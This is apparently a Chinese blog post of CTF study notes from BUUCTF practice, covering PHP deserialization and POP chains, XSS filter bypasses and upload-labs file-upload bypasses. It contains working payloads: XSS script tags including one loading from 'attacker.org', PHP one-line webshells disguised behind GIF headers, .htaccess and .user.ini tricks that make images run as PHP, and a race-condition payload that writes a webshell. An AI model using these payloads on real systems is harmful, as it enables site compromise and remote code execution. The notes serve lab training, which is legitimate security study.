寒假buu刷题记录 序列化与反序列化、XSS注入、UPLOAD-LABS文件上传

做题总结

这个假期看了很多师傅的wp,有一些贴在总结里了,希望对大家也有帮助。(如有冒犯请联系我删除)

序列化与反序列化总结

pop链构造POP链的构造_一个打渔的的博客K6uQ5H7^ff(R-CSDN博客_pop链

序列化与反序列化序列化和反序列化的详解_tree_ifconfig的博客-CSDN博客_序列化和反序列化 简述序列化与反序列化 - 寒江独钓人 - 博客园

  • unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。返回的是转换之后的值,可为 integer、float、string、array 或 object。如果传递的字符串不可解序列化,则返回 FALSE

  • 序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 为什么要把Java对象序列化呢?因为序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。

  • phar://伪协议传入参数时可以触发反序列化

php中的常见魔术方法:

__sleep() //使用serialize时触发
__wakeup()//使用unserialize时触发
__destruct() //对象被销毁时触发
__construct()//函数创建一个新的 SimpleXMLElement 对象
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发(比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据)
__invoke() //当脚本尝试将对象调用为函数时触发

类的定义php中show是什么意思,php中的类是什么意思?_第一反应急救的博客-CSDN博客

public、protected与private字段在序列化时的区别

protected声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。这也许解释了,为什么如果直接在网址上,传递\0\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符。必须用python传值才可以。 [极客大挑战 2019]PHP_沐目的博客-CSDN博客_极客大挑战2019php

private声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

对应题目:[MRCTF2020]Ezpop、[SWPUCTF 2018]SimplePHP

这两道题都用到了伪协议。[MRCTF2020]Ezpop里用php://filter文件包含访问目标地址。[SWPUCTF 2018]SimplePHP中没有序列化/反序列化函数,所以用phar://伪协议触发反序列化。

感觉做这类题目主要任务是在函数分析,要正确出函数的触发方法,理清楚实例化的对象和类的关系就好了。

XSS注入总结

一、js标签插入

绕过进行一次移除操作:

<scr<script>ipt>alert("XSS")</scr<script>ipt>

Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:

<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>

对应题目:level1-2

注入时要注意闭合方式,尖括号、单双引号等等

二、事件函数

  1. 鼠标事件: onclick: 点击事件 ondblclick: 双击事件

    onmouseover: 鼠标进入“某对象区域”
    ​
    onmouseout: 鼠标离开“某对象区域”
    ​
    onmousedown: 鼠标按下
    onmouseup: 鼠标抬起
    onmousemove: 鼠标移动。
  2. 表单事件: onsubmit: 表单提交事件

    onfocus: 一个表单项获得焦点。(就是鼠标在输入框中点击,可以输入内容) onblur: 一个表单项失去焦点。(就是鼠标离开输入框,在别的元素发生鼠标事件)

    onchange: 一个表单项的内容的改变(通常用于select选项值的改变) onreset: 表单重置事件

  3. 键盘事件: onkeydown: 按键按下去(尚未抬起来) onkeyup: 按钮抬起来。 onkeypress: 按键一次(不包含功能键,比如退格键、回车键)。 4.窗口事件: onload: 网页一打开(网页加载完毕时)发生。 onunload:卸载

对应题目:level3-4

三、超链接

链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript

<a href="javascript:alert(1)>

对应题目:level5-6

四、input标签的type属性

属性值

描述
button定义可点击按钮(多数情况下,用于通过 JavaScript 启动脚本)。
checkbox定义复选框。
file定义输入字段和 "浏览"按钮,供文件上传。
hidden定义隐藏的输入字段。
image定义图像形式的提交按钮。
password定义密码字段。该字段中的字符被掩码。
radio定义单选按钮。
reset定义重置按钮。重置按钮会清除表单中的所有数据。
submit定义提交按钮。提交按钮会把表单数据发送到服务器。
text定义单行的输入字段,用户可在其中输入文本。默认宽度为 20个字符

<input type="text" /> 定义用户可输入文本的单行输入字段。

Email: <input type="text" name="email" />
Pin: <input type="text" name="pin" />

对应题目:level10-13

一个其他师傅的超级无敌大总结

XSS插入绕过一些方式总结_煜铭2011-CSDN博客_xss绕过

五、注入点与注入格式

1.html编码绕过

一些被过滤的字符直接注入可能会注入失败,但是经过html编码之后能够上传且也能正常执行

对应题目:level8-9

2.大小写绕过

和sql里的类似,如果题目只过滤小写字母,可以尝试把payload改为大写再上传试试。绕过过滤之后依然能被正常执行

对应题目:level6

3.添加http://头

题目可能去除了本来自带的http://头,即使注入格式正确,注入也可能后无法触发。手动添加就好了。

对应题目:level9

4.隐藏函数注入点

可注入的函数有多个,需要通过注入后查看源码,找出有回显的真正有效注入函数。

对应题目:level10-11

5.user-agent/cookie/post/get/referer注入

有时候简单用get方式传参没有回显,通过前端代码等可以找出与注入内容相同的地方,然后尝试通过这些内容相同的地方(ua/cookie/referer)传值注入

对应题目:level12-13

文件上传总结(结合buu upload-labs)

一、js/MIME绕过

1.更改前端设置绕过,对应pass-01

2.更改content-type绕过

上传文件的时候可能会检测文件的文件类型,一般会规定是图片类型,可能就要改成:

Content-Type: image/jpeg

常见信息头:

 

二、内容检测

文件头检测

对文件头进行检测,其实做misc的时候用010查看文件会发现不同文件的文件头也是不同的,所以源码可能会用正则匹配等形式对文件头进行检测

只要在上传的文件前面加上对应文件头的字符串就好了

例如:

GIF89a
<?php @eval($_POST['cmd']);?>
​
//php被ban的时候可以用下面的短标签
GIF89a
<? @eval($_POST['cmd']);?>
//<?被ban时
<script language='php'>assert($_REQUEST['cmd'])</script>
//直接打印
<script languag='php'>system("cat /flag");</script>

内容/标签检测

  • 可能对<?敏感,此时可以用

    <script language="php">
        eval($_POST"aaa");
    </script>

  • 短标签<? ?>需要在php.ini中开启配置short_open_tag才能用

  • <?=等价于<?eho 不用开启短标签

  • ASP标签<% %>需要将asp_tags设置成ON,php小于7.0的可以通过<script language'php'>绕过

    <script language'php'>
        phpinfo()
    </script>
  • eval可以换成assert

  • post可以换成get require cookie

    • get:url直接上传

    • post:hackbar里上传

    • require:上传技能,可用post代替

    • cookie:网页中上

上传之后要把文件后缀改成php/phtml

在某文件中插入木马

  • cmd中操作:copy xx.png/A + 木马.php/B 组合后的新文件

若文件不解析,可以加上

  • /include.php?file=图片地址

或者用010直接在图片文件尾部添加一句话木马

对应pass13-15。要注意图片合成后是否可能损坏。

三、黑名单绕过

1.特殊后缀绕过。譬如有php3 php5 pht phtm phtml等等。对应pass-03

常见文件后缀

".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"

2.不符合windows文件书写规则绕过。譬如

  • 文件名后加空格或者点,对应pass-06和pass-07

  • 后缀大小写(比如linux下如果php不被解析,可以把.php写成.pHp),对应pass-05

  • 文件名后加::$DATA ,例如"1.php::$DATA"。对应pass-08

  • 函数分析,可能出现只删除一次文件名末尾的点或空格,可以多重叠几个,比如:1.php. . 对应pass-09

  • 后缀双写,例如:1.pphphp 对应pass-10

  • 其他类似绕过 test.php:1.jpg   test.php::$DATA   shell.php::$DATA……. 会被windows系统自动去掉不符合规则符号后面的内容。

二、.htaccess/.user.ini

.htaccess

https://xz.aliyun.com/t/8267#toc-4

.htaccess 详解 - Wiliz - 博客园

/www/htdocs/example目录下的.htaccess文件的内容:AddType text/example .exm

httpd.conf文件中摘录的内容:

<Directory /www/htdocs/example>AddType text/example .exm</Directory>

但是,把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。

将AllowOverride设置为none可以完全禁止使用.htaccess文件:AllowOverride None

指令的作用范围

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令.   在访问文档时,如果收到服务器的出错消息,应该检查Apache的错误日志,可以知道.htaccess文件中哪些指令是不允许使用的,也可能会发现需要纠正的语法错误。

AddType application/x-httpd-php .gif
​
// 将所有文件当作php文件来解析
SetHandler application/x-httpd-php

对应pass-04

.user.ini

和.htaccess作用类似

可以在.user.ini文件中写入auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,这时候我们就可以引入一个我们自己所写的php文件,也就是一个一句话木马。

auto_prepend_file  (函数)
​
auto_prepend_file 在页面顶部加载文件
auto_append_file  在页面底部加载文件
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

使用.user.ini之后再上传带有一句话木马的图片,然后可以访问index.php执行php代码,然后用蚁剑连接

三、白名单检测

1.%00/00路径截断

路径拼接时可以在文件尾加上%00来截断路径。

对应pass-11、pass-12

四、图片二次渲染

对应pass-16,这里贴一个大佬的详解

可以通过对比上传前后的图片的数据块,找到渲染后未被改动的地方,在此插入一句话木马来绕过

五、条件竞争

服务器先将上传的文件保存在临时目录中,然后再对后缀名进行白名单验证,并重命名。

rename(string $oldname,string $newname [,resource $context])//把oldname重命名为newname 

绕过过程:不断上传文件,在文件还没被删除前去读取文件,若上传内容为

<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"])?>');?>

对应pass-17、pass-18

六、数组绕过

文件上传与upload-labs_情感博主V-CSDN博客_文件上传upload-labs

在content-type里更改索引和元素个数绕过。对应pass-20

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值